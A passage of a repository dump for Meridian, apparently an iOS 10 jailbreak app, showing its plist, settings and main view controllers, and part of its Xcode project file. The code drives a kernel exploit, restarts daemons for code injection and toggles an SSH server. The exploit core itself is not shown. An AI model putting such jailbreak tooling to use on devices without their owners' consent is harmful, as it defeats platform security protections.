    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>$(DEVELOPMENT_LANGUAGE)</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>APPL</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleVersion</key>\n\t<string>1</string>\n\t<key>LSRequiresIPhoneOS</key>\n\t<true/>\n\t<key>UILaunchStoryboardName</key>\n\t<string>LaunchScreen</string>\n\t<key>UIMainStoryboardFile</key>\n\t<string>Main</string>\n\t<key>UIRequiredDeviceCapabilities</key>\n\t<array>\n\t\t<string>armv7</string>\n\t</array>\n\t<key>UIRequiresFullScreen</key>\n\t<false/>\n\t<key>UIStatusBarHidden</key>\n\t<true/>\n\t<key>UIStatusBarStyle</key>\n\t<string>UIStatusBarStyleDefault</string>\n\t<key>UISupportedInterfaceOrientations</key>\n\t<array>\n\t\t<string>UIInterfaceOrientationPortrait</string>\n\t</array>\n\t<key>UISupportedInterfaceOrientations~ipad</key>\n\t<array>\n\t\t<string>UIInterfaceOrientationPortrait</string>\n\t</array>\n\t<key>UIViewControllerBasedStatusBarAppearance</key>\n\t<false/>\n</dict>\n</plist>\n"
  },
  {
    "path": "Meridian/Meridian/views/SettingsController.h",
    "content": "//\n//  SettingsController.h\n//  Meridian\n//\n//  Created by Sticktron on 2018-04-03.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface SettingsController : UITableViewController <UITextFieldDelegate>\n\n@end\n"
  },
  {
    "path": "Meridian/Meridian/views/SettingsController.m",
    "content": "//\n//  SettingsController.m\n//  Meridian\n//\n//  Created by Sticktron on 2018-04-03.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#import \"SettingsController.h\"\n#import \"Preferences.h\"\n\n@interface SettingsController ()\n@property (weak, nonatomic) IBOutlet UISwitch *tweaksEnabledSwitch;\n@property (weak, nonatomic) IBOutlet UISwitch *startLaunchDaemonsSwitch;\n@property (weak, nonatomic) IBOutlet UITextField *bootNonceEntryField;\n@property (weak, nonatomic) IBOutlet UISwitch *startDropbearSwitch;\n@property (weak, nonatomic) IBOutlet UISegmentedControl *dropbearPortControl;\n@property (weak, nonatomic) IBOutlet UITableViewCell *psychoTwitterCell;\n@property (weak, nonatomic) IBOutlet UITableViewCell *issueTrackerCell;\n@property (weak, nonatomic) IBOutlet UITableViewCell *sourceCodeCell;\n@property (weak, nonatomic) IBOutlet UITableViewCell *websiteCell;\n@end\n\n\n@implementation SettingsController\n\n- (void)viewDidLoad {\n    [super viewDidLoad];\n    \n    _tweaksEnabledSwitch.on = tweaksAreEnabled();\n    _startLaunchDaemonsSwitch.on = startLaunchDaemonsIsEnabled();\n    _bootNonceEntryField.text = [NSString stringWithFormat:@\"0x%llx\", getBootNonceValue()];\n    _startDropbearSwitch.on = startDropbearIsEnabled();\n    _dropbearPortControl.selectedSegmentIndex = listenPort();\n    \n    _bootNonceEntryField.delegate = self;\n}\n\n- (void)didReceiveMemoryWarning {\n    [super didReceiveMemoryWarning];\n    // Dispose of any resources that can be recreated.\n}\n\n- (void)openLink:(NSString *)url {\n    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url] options:@{} completionHandler:nil];\n}\n\n- (IBAction)tweaksEnabledValueChanged:(UISwitch *)sender {\n    setTweaksEnabled(sender.isOn);\n}\n\n- (IBAction)startLaunchDaemonsValueChanged:(UISwitch *)sender {\n    setStartLaunchDaemonsEnabled(sender.isOn);\n}\n\n- (IBAction)startDropbearValueChanged:(UISwitch *)sender {\n    setStartDropbearEnabled(sender.isOn);\n}\n\n- (IBAction)dropbearPortValueChanged:(UISegmentedControl *)sender {\n    setListenPort(sender.selectedSegmentIndex);\n}\n\n- (BOOL)textFieldShouldReturn:(UITextField *)textField {\n    [textField resignFirstResponder];\n    return YES;\n}\n\n- (IBAction)bootNonceEditingEnded:(UITextField *)sender {\n    const char *generatorInput = [sender.text UTF8String];\n    \n    if (strcmp(generatorInput, \"0x0\") == 0) {\n        // Reset/disable the generator\n        setBootNonceValue(0x0);\n        \n        // Set it to the Electra nonce\n        _bootNonceEntryField.text = [NSString stringWithFormat:@\"0x%llx\", getBootNonceValue()];\n        return;\n    }\n    \n    char compareString[22];\n    uint64_t rawGeneratorValue;\n    sscanf(generatorInput, \"0x%16llx\", &rawGeneratorValue);\n    sprintf(compareString, \"0x%016llx\", rawGeneratorValue);\n    \n    if (strcmp(compareString, generatorInput) != 0) {\n        \n        NSString *message = [NSString stringWithFormat:@\"The generator you provided was invalid. The generator should be in the format '0x1234567890123456'\"];\n        \n        UIAlertController *alert = [UIAlertController alertControllerWithTitle:@\"Invalid Generator\"\n                                                                       message:message\n                                                                preferredStyle:UIAlertControllerStyleAlert];\n        \n        UIAlertAction *closeAction = [UIAlertAction actionWithTitle:@\"Close\"\n                                                              style:UIAlertActionStyleCancel\n                                                            handler:nil];\n        \n        [alert addAction:closeAction];\n        [self presentViewController:alert animated:YES completion:nil];\n        \n        // Reset/disable the generator\n        setBootNonceValue(0x0);\n        \n        // Set it to the Electra nonce\n        _bootNonceEntryField.text = [NSString stringWithFormat:@\"0x%llx\", getBootNonceValue()];\n        \n        return;\n    }\n    \n    setBootNonceValue(rawGeneratorValue);\n}\n\n#pragma mark - Table view\n- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath {\n    UITableViewCell *cell = [tableView cellForRowAtIndexPath:indexPath];\n    \n    [tableView deselectRowAtIndexPath:indexPath animated:YES];\n    \n    if (cell == self.psychoTwitterCell) {\n        [self openLink:@\"http://www.twitter.com/iBSparkes\"];\n    } else if (cell == self.websiteCell) {\n        [self openLink:@\"https://meridian.sparkes.zone\"];\n    } else if (cell == self.issueTrackerCell) {\n        [self openLink:@\"https://github.com/PsychoTea/MeridianJB/issues\"];\n    } else if (cell == self.sourceCodeCell) {\n        [self openLink:@\"https://github.com/PsychoTea/MeridianJB\"];\n    }\n}\n\n\n#pragma mark - Navigation\n\n@end\n"
  },
  {
    "path": "Meridian/Meridian/views/ViewController.h",
    "content": "//\n//  ViewController.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#import \"v0rtex.h\"\n#import <UIKit/UIKit.h>\n\n@interface ViewController : UIViewController\n\n- (void)writeText:(NSString *)message;\n- (void)writeTextPlain:(NSString *)message, ...;\n\n@end\n\ntask_t tfp0;\nkptr_t kslide;\nkptr_t kernel_base;\nkptr_t kern_ucred;\nkptr_t kernprocaddr;\n\nvoid log_message(NSString *message);\n"
  },
  {
    "path": "Meridian/Meridian/views/ViewController.m",
    "content": "//\n//  ViewController.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#import \"ViewController.h\"\n\n#include \"helpers.h\"\n#include \"jailbreak.h\"\n\n#include <sys/utsname.h>\n#include <sys/stat.h>\n\n#import <Foundation/Foundation.h>\n\n@interface ViewController ()\n@property (weak, nonatomic) IBOutlet UIButton *goButton;\n@property (weak, nonatomic) IBOutlet UIButton *creditsButton;\n@property (weak, nonatomic) IBOutlet UIButton *websiteButton;\n@property (weak, nonatomic) IBOutlet UIActivityIndicatorView *progressSpinner;\n@property (weak, nonatomic) IBOutlet UITextView *textArea;\n@property (weak, nonatomic) IBOutlet UILabel *versionLabel;\n@end\n\nNSString *Version = @\"Meridian: v0.9-007 Pre-Release\";\nNSOperatingSystemVersion osVersion;\n\nid thisClass;\n\nbool has_run_once = false;\nbool jailbreak_has_run = false;\n\n@implementation ViewController\n\n- (void)viewDidLoad {\n    [super viewDidLoad];\n    thisClass = self;\n    \n    [self.goButton.layer setCornerRadius:5];\n    [self.creditsButton.layer setCornerRadius:5];\n    [self.websiteButton.layer setCornerRadius:5];\n    \n    if ([Version containsString:@\"Internal\"]) {\n        NSString *buildDate = [NSString stringWithContentsOfFile:[NSString stringWithFormat:@\"%s\", bundled_file(\"build_time\")]\n                                                        encoding:NSUTF8StringEncoding\n                                                           error:nil];\n        [self.versionLabel setText:[NSString stringWithFormat:@\"%@: %@\", Version, buildDate]];\n    } else {\n        [self.versionLabel setText:[NSString stringWithFormat:@\"%@\", Version]];\n    }\n    \n    jailbreak_has_run = check_for_jailbreak();\n    \n//    [self doUpdateCheck];\n    \n    // Log current device and version info\n    osVersion = [[NSProcessInfo processInfo] operatingSystemVersion];\n    \n    [self writeTextPlain:[NSString stringWithFormat:@\"> %@\", Version]];\n    \n    if (osVersion.majorVersion != 10) {\n        [self writeTextPlain:@\"> Meridian does not work on versions of iOS other than iOS 10.\"];\n        [self writeTextPlain:[NSString stringWithFormat:@\"> found iOS version %@\", [self getVersionString]]];\n        [self.goButton setHidden:YES];\n        return;\n    }\n    \n    [self writeTextPlain:[NSString stringWithFormat:@\"> %s on iOS %@ (Build %@)\",\n                          [self getDeviceIdentifier],\n                          [self getVersionString],\n                          [self getBuildString]]];\n    \n    if (jailbreak_has_run) {\n        [self writeTextPlain:@\"> already jailbroken.\"];\n        \n        // set done button\n        [self.goButton setTitle:@\"done\" forState:UIControlStateNormal];\n        \n        // aaaaand grey it out\n        [self.goButton setEnabled:NO];\n        [self.goButton setAlpha:0.5];\n        \n        return;\n    }\n    \n    // Device is already jailbroken, but not with Meridian\n    if (file_exists(\"/private/var/lib/dpkg/status\") == 0 &&\n        file_exists(\"/.meridian_installed\")) {\n        [self writeTextPlain:@\"this device has already been jailbroken with another tool. please run Cydia Eraser to wipe this device to ensure you encounter no issues with Meridian\"];\n        [self writeTextPlain:@\"if you have jailbroken with a Meridian Public Beta, please install the latest Public Beta and use the 'uninstall' option\"];\n        \n        [self.goButton setTitle:@\"please erase\" forState:UIControlStateNormal];\n        [self.goButton setEnabled:NO];\n        [self.goButton setAlpha:0.5];\n\n        return;\n    }\n    \n    // Credits to tihm on waiting\n    dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^(void) {\n        int waitTime;\n        while ((waitTime = 90 - uptime()) > 0) {\n            dispatch_async(dispatch_get_main_queue(), ^{\n                [self.goButton setTitle:[NSString stringWithFormat:@\"wait: %d\", waitTime] forState:UIControlStateNormal];\n                [self.goButton setEnabled:false];\n                [self.goButton setAlpha:0.6];\n            });\n            \n            sleep(1);\n        }\n        \n        dispatch_async(dispatch_get_main_queue(), ^{\n            [self.goButton setTitle:@\"go\" forState:UIControlStateNormal];\n            [self.goButton setEnabled:true];\n            [self.goButton setAlpha:1];\n            \n            [self writeTextPlain:@\"> ready.\"];\n        });\n    });\n    \n    NSLog(@\"App bundle directory: %s\", bundle_path());\n}\n\n- (IBAction)goButtonPressed:(UIButton *)sender {\n    // when jailbreak runs, 'go' button is\n    // turned to 'respring'\n    if (jailbreak_has_run) {\n        chown(\"/meridian/ldrestart\", 0, 0);\n        chmod(\"/meridian/ldrestart\", 0755);\n        chown(\"/meridian/nohup\", 0, 0);\n        chmod(\"/meridian/nohup\", 0755);\n        \n        // ldrestart restarts all launch daemons,\n        // allowing shit to be injected into 'em\n        int rv = execprog(\"/bin/bash\", (const char **)&(const char*[]) {\n            \"/bin/bash\",\n            \"-c\",\n            \"/meridian/nohup /meridian/ldrestart 2>&1 >/dev/null &\",\n            NULL\n        });\n        if (rv != 0) {\n            [self writeTextPlain:@\"failed to run ldrestart.\"];\n            return;\n        }\n        \n        [self.goButton setHidden:YES];\n        return;\n    }\n    \n    // if we've run once, just reboot\n    if (has_run_once) {\n        [self.goButton setHidden:YES];\n        restart_device();\n        return;\n    }\n    \n    // set up the UI to 'running' state\n    [self.goButton setEnabled:NO];\n    [self.goButton setHidden:YES];\n    [self.creditsButton setEnabled:NO];\n    self.creditsButton.alpha = 0.5;\n    [self.websiteButton setEnabled:NO];\n    self.websiteButton.alpha = 0.5;\n    [self.progressSpinner startAnimating];\n    \n    has_run_once = true;\n    \n    // background thread so we can update the UI\n    dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^(void) {\n        int ret = makeShitHappen(self);\n        \n        if (ret != 0) {\n            NSLog(@\"MERIDIAN HAS FAILED TO RUN :(\");\n            \n            dispatch_async(dispatch_get_main_queue(), ^{\n                [self exploitFailed];\n            });\n            \n            return;\n        }\n        \n        dispatch_async(dispatch_get_main_queue(), ^{\n            [self exploitSucceeded];\n        });\n    });\n}\n\n- (IBAction)websiteButtonPressed:(UIButton *)sender {\n    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@\"https://meridian.sparkes.zone\"]\n                                       options:@{}\n                             completionHandler:nil];\n}\n\n- (char *)getDeviceIdentifier {\n    static struct utsname u;\n    uname(&u);\n    return u.machine;\n}\n\n- (NSString *)getVersionString {\n    return [NSString stringWithFormat:@\"%ld.%ld.%ld\",\n            (long)osVersion.majorVersion,\n            (long)osVersion.minorVersion,\n            (long)osVersion.patchVersion];\n}\n\n- (NSString *)getBuildString {\n    NSString *verString = [[NSProcessInfo processInfo] operatingSystemVersionString];\n    // wish there was a better way of doing this (hopefully there is)\n    NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@\"14[A-Za-z0-9]{3,5}\"\n                                                                           options:0\n                                                                             error:nil];\n    \n    NSRange range = [regex rangeOfFirstMatchInString:verString options:0 range:NSMakeRange(0, [verString length])];\n    \n    return [verString substringWithRange:range];\n}\n\n- (void)exploitSucceeded {\n    jailbreak_has_run = true;\n    \n    [self writeTextPlain:@\"\\n> your device has been freed! \\n\"];\n    \n    [self writeTextPlain:@\"note: please click 'respring' to get this party started :) \\n\"];\n    \n    [self.progressSpinner stopAnimating];\n    \n    [self.goButton setEnabled:YES];\n    [self.goButton setHidden:NO];\n    [self.goButton setTitle:@\"respring\" forState:UIControlStateNormal];\n    \n    [self.creditsButton setEnabled:YES];\n    self.creditsButton.alpha = 1;\n    [self.websiteButton setEnabled:YES];\n    self.websiteButton.alpha = 1;\n}\n\n- (void)exploitFailed {\n    [self writeTextPlain:@\"exploit failed. please reboot & try again.\"];\n    \n    [self.goButton setEnabled:YES];\n    [self.goButton setHidden:NO];\n    [self.goButton setTitle:@\"reboot\" forState:UIControlStateNormal];\n    \n    [self.creditsButton setEnabled:YES];\n    [self.creditsButton setAlpha:1];\n    \n    [self.websiteButton setEnabled:YES];\n    [self.websiteButton setAlpha:1];\n    \n    [self.progressSpinner stopAnimating];\n}\n\n- (void)doUpdateCheck {\n    // skip the version check if we're running an internal build\n    if ([Version containsString:@\"Internal\"]) {\n        NSLog(@\"internal build detected, skipping\");\n        return;\n    }\n    \n    NSURL *url = [NSURL URLWithString:@\"https://meridian.sparkes.zone/latest\"];\n    \n    NSURLSessionDataTask *downloadTask = [[NSURLSession sharedSession]\n                                          dataTaskWithURL:url completionHandler:^(NSData *data, NSURLResponse *header, NSError *error) {\n                                              if (error != nil) {\n                                                  NSLog(@\"failed to get information from the update server.\");\n                                                  return;\n                                              }\n                                              \n                                              NSString *response = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];\n                                              NSLog(@\"got response '%@', Version '%@'\", response, Version);\n                                              if (response != Version) {\n                                                  [self doUpdatePopup:response];\n                                              }\n                                          }];\n    \n    [downloadTask resume];\n}\n\n- (void)doUpdatePopup:(NSString *)update {\n    NSString *message = [NSString stringWithFormat:@\"An update is available for Meridian: %@It can be downloaded from the website.\", update];\n    \n    UIAlertController *alert = [UIAlertController alertControllerWithTitle:@\"Meridian Update\"\n                                                                   message:message\n                                                            preferredStyle:UIAlertControllerStyleAlert];\n    \n    UIAlertAction *websiteAction = [UIAlertAction actionWithTitle:@\"Website\" style:UIAlertActionStyleDefault\n                                                          handler:^(UIAlertAction * action) {\n                                                              [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@\"https://meridian.sparkes.zone\"]\n                                                                                                 options:@{}\n                                                                                       completionHandler:nil];\n                                                          }];\n    \n    UIAlertAction *closeAction = [UIAlertAction actionWithTitle:@\"Close\"\n                                                          style:UIAlertActionStyleCancel\n                                                        handler:nil];\n    \n    [alert addAction:websiteAction];\n    [alert addAction:closeAction];\n    [self presentViewController:alert animated:YES completion:nil];\n}\n\n- (void)writeText:(NSString *)message {\n    dispatch_async(dispatch_get_main_queue(), ^{\n        if (![message  isEqual: @\"done!\"] && ![message isEqual:@\"failed!\"]) {\n            NSLog(@\"%@\", message);\n            [self.textArea setText:[self.textArea.text stringByAppendingString:[NSString stringWithFormat:@\"%@ \", message]]];\n        } else {\n            [self.textArea setText:[self.textArea.text stringByAppendingString:[NSString stringWithFormat:@\"%@\\n\", message]]];\n        }\n        \n        NSRange bottom = NSMakeRange(self.textArea.text.length - 1, 1);\n        [self.textArea scrollRangeToVisible:bottom];\n    });\n}\n\n- (void)writeTextPlain:(NSString *)message, ... {\n    va_list args;\n    va_start(args, message);\n    message = [[NSString alloc] initWithFormat:[message stringByAppendingString:@\"\\n\"] arguments:args];\n    \n    dispatch_async(dispatch_get_main_queue(), ^{\n        [self.textArea setText:[self.textArea.text stringByAppendingString:message]];\n        NSRange bottom = NSMakeRange(self.textArea.text.length - 1, 1);\n        [self.textArea scrollRangeToVisible:bottom];\n        NSLog(@\"%@\", message);\n    });\n    va_end(args);\n}\n\n// kinda dumb, kinda lazy, ¯\\_(ツ)_/¯\nvoid log_message(NSString *message) {\n    [thisClass writeTextPlain:message];\n}\n\n@end\n\n"
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.pbxproj",
    "content": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 48;\n\tobjects = {\n\n/* Begin PBXBuildFile section */\n\t\tB50D4C0F2122500800F61B82 /* offsetdump.m in Sources */ = {isa = PBXBuildFile; fileRef = B50D4C0E2122500800F61B82 /* offsetdump.m */; };\n\t\tB50F79571FF2248D000D6015 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = B50F79401FF2248B000D6015 /* patchfinder64.c */; };\n\t\tB50F795C1FF2248D000D6015 /* root-rw.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F79461FF2248B000D6015 /* root-rw.m */; };\n\t\tB50F79601FF2248D000D6015 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F794A1FF2248B000D6015 /* AppDelegate.m */; };\n\t\tB50F79631FF2248D000D6015 /* kernel.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F794F1FF2248C000D6015 /* kernel.m */; };\n\t\tB50F79641FF2248D000D6015 /* amfi.m in Sources */ = {isa = PBXBuildFile; fileRef = B50F79531FF2248D000D6015 /* amfi.m */; };\n\t\tB514CC811FECD788005F4E6B /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B514CC7F1FECD788005F4E6B /* Main.storyboard */; };\n\t\tB514CC831FECD788005F4E6B /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = B514CC821FECD788005F4E6B /* Assets.xcassets */; };\n\t\tB514CC861FECD788005F4E6B /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B514CC841FECD788005F4E6B /* LaunchScreen.storyboard */; };\n\t\tB514CC901FECDC71005F4E6B /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = B514CC8F1FECDC71005F4E6B /* ViewController.m */; };\n\t\tB52F29152051C82800F4EB57 /* libimg4tool.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B585F42020519DB40049C703 /* libimg4tool.a */; };\n\t\tB52F29172051C82800F4EB57 /* libplist.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B585F41F20519DB30049C703 /* libplist.a */; };\n\t\tB52F29182051C82800F4EB57 /* libplist++.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B585F41E20519DB30049C703 /* libplist++.a */; };\n\t\tB52F29282051F10800F4EB57 /* fucksigningservices.m in Sources */ = {isa = PBXBuildFile; fileRef = B52F29272051F10800F4EB57 /* fucksigningservices.m */; };\n\t\tB5370199202EAC00004E5E5C /* installer-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B5370198202EABFF004E5E5C /* installer-base.tar */; };\n\t\tB537019B202EB4BF004E5E5C /* dpkgdb-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B537019A202EB4BF004E5E5C /* dpkgdb-base.tar */; };\n\t\tB56929D7203708030044FF60 /* jailbreak.m in Sources */ = {isa = PBXBuildFile; fileRef = B56929D6203708020044FF60 /* jailbreak.m */; };\n\t\tB5783DB2210DDBE0004339F8 /* nonce.m in Sources */ = {isa = PBXBuildFile; fileRef = B5783DB1210DDBE0004339F8 /* nonce.m */; };\n\t\tB578A6542007FD8100C19091 /* v0rtex.m in Sources */ = {isa = PBXBuildFile; fileRef = B5B7C2B51FF353970087619A /* v0rtex.m */; };\n\t\tB57A06EA202CEDF500ACDB9D /* cydia-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06E6202CEDF500ACDB9D /* cydia-base.tar */; };\n\t\tB57A06EB202CEDF500ACDB9D /* optional-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06E7202CEDF500ACDB9D /* optional-base.tar */; };\n\t\tB57A06EC202CEDF500ACDB9D /* system-base.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06E8202CEDF500ACDB9D /* system-base.tar */; };\n\t\tB57A06EF202CF4F300ACDB9D /* tar.tar in Resources */ = {isa = PBXBuildFile; fileRef = B57A06EE202CF4F300ACDB9D /* tar.tar */; };\n\t\tB57CBF62205DA3DF00EEDA20 /* jailbreak_daemonUser.c in Sources */ = {isa = PBXBuildFile; fileRef = B57CBF60205DA3DF00EEDA20 /* jailbreak_daemonUser.c */; };\n\t\tB582405F1FF75A4000D96DB5 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = B582405E1FF75A4000D96DB5 /* helpers.m */; };\n\t\tB584C54A20376BCB00BF4118 /* untar.m in Sources */ = {isa = PBXBuildFile; fileRef = B584C54920376BCA00BF4118 /* untar.m */; };\n\t\tB585494B20A64F8F00107CF2 /* nvpatch.c in Sources */ = {isa = PBXBuildFile; fileRef = B585494A20A64F8F00107CF2 /* nvpatch.c */; };\n\t\tB585F4182051993E0049C703 /* offsetfinder.mm in Sources */ = {isa = PBXBuildFile; fileRef = B585F4172051993E0049C703 /* offsetfinder.mm */; };\n\t\tB5A034FD210D162900C0E52E /* preferences.m in Sources */ = {isa = PBXBuildFile; fileRef = B5A034FC210D162900C0E52E /* preferences.m */; };\n\t\tB5A4EA95205F14CE00B32F89 /* meridian-bootstrap.tar in Resources */ = {isa = PBXBuildFile; fileRef = B5A4EA94205F14CD00B32F89 /* meridian-bootstrap.tar */; };\n\t\tB5B7C2A01FF2BA100087619A /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = B5B7C29F1FF2BA100087619A /* main.m */; };\n\t\tB5B7C2AB1FF2C7860087619A /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B5B7C2AA1FF2C7860087619A /* IOKit.framework */; };\n\t\tB5B9E03B2060280500FEA273 /* build_time in Resources */ = {isa = PBXBuildFile; fileRef = B5B9E03A2060280400FEA273 /* build_time */; };\n\t\tB5C4FBDC2052E67700F82D43 /* SettingsController.m in Sources */ = {isa = PBXBuildFile; fileRef = B5C4FBD92052E67700F82D43 /* SettingsController.m */; };\n\t\tB5DF1AC020597A120090B4B5 /* liboffsetfinder64.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B5DF1ABF20597A120090B4B5 /* liboffsetfinder64.a */; };\n\t\tB5DF1AC22059C0E20090B4B5 /* libmerged.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B5DF1AC12059C0E20090B4B5 /* libmerged.a */; };\n\t\tB5DF1AC42059C14E0090B4B5 /* libcompression.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = B5DF1AC32059C14E0090B4B5 /* libcompression.tbd */; };\n\t\tEE45BD8F20C2DEDE00D627C0 /* CreditsController.m in Sources */ = {isa = PBXBuildFile; fileRef = EE45BD8E20C2DEDE00D627C0 /* CreditsController.m */; };\n/* End PBXBuildFile section */\n\n/* Begin PBXContainerItemProxy section */\n\t\tB5555EBA20543A4100D62F57 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = B514CC6E1FECD787005F4E6B /* Project object */;\n\t\t\tproxyType = 1;\n\t\t\tremoteGlobalIDString = B5555EA6205438CA00D62F57;\n\t\t\tremoteInfo = amfid;\n\t\t};\n\t\tB5555EBE20543A4100D62F57 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = B514CC6E1FECD787005F4E6B /* Project object */;\n\t\t\tproxyType = 1;\n\t\t\tremoteGlobalIDString = B5555EAE205438F300D62F57;\n\t\t\tremoteInfo = pspawn_hook;\n\t\t};\n\t\tB5555EC020543A4100D62F57 /* PBXContainerItemProxy */ = {\n\t\t\tisa = PBXContainerItemProxy;\n\t\t\tcontainerPortal = B514CC6E1FECD787005F4E6B /* Project object */;\n\t\t\tproxyType = 1;\n\t\t\tremoteGlobalIDString = B5555EB22054390100D62F57;\n\t\t\tremoteInfo = jailbreakd;\n\t\t};\n/* End PBXContainerItemProxy section */\n\n/* Begin PBXFileReference section */\n\t\tB50D4C0E2122500800F61B82 /* offsetdump.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsetdump.m; sourceTree = \"<group>\"; };\n\t\tB50F793B1FF2248A000D6015 /* common.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = \"<group>\"; };\n\t\tB50F79401FF2248B000D6015 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = \"<group>\"; };\n\t\tB50F79461FF2248B000D6015 /* root-rw.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = \"root-rw.m\"; sourceTree = \"<group>\"; };\n\t\tB50F79481FF2248B000D6015 /* main.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = \"<group>\"; };\n\t\tB50F794A1FF2248B000D6015 /* AppDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = \"<group>\"; };\n\t\tB50F794C1FF2248C000D6015 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = \"<group>\"; };\n\t\tB50F794E1FF2248C000D6015 /* amfi.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = amfi.h; sourceTree = \"<group>\"; };\n\t\tB50F794F1FF2248C000D6015 /* kernel.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kernel.m; sourceTree = \"<group>\"; };\n\t\tB50F79511FF2248C000D6015 /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel.h; sourceTree = \"<group>\"; };\n\t\tB50F79521FF2248C000D6015 /* root-rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = \"root-rw.h\"; sourceTree = \"<group>\"; };\n\t\tB50F79531FF2248D000D6015 /* amfi.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = amfi.m; sourceTree = \"<group>\"; };\n\t\tB514CC761FECD788005F4E6B /* Meridian.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Meridian.app; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\tB514CC791FECD788005F4E6B /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = \"<group>\"; };\n\t\tB514CC7C1FECD788005F4E6B /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = \"<group>\"; };\n\t\tB514CC801FECD788005F4E6B /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = \"<group>\"; };\n\t\tB514CC821FECD788005F4E6B /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = \"<group>\"; };\n\t\tB514CC851FECD788005F4E6B /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = \"<group>\"; };\n\t\tB514CC871FECD788005F4E6B /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = \"<group>\"; };\n\t\tB514CC8F1FECDC71005F4E6B /* ViewController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = \"<group>\"; 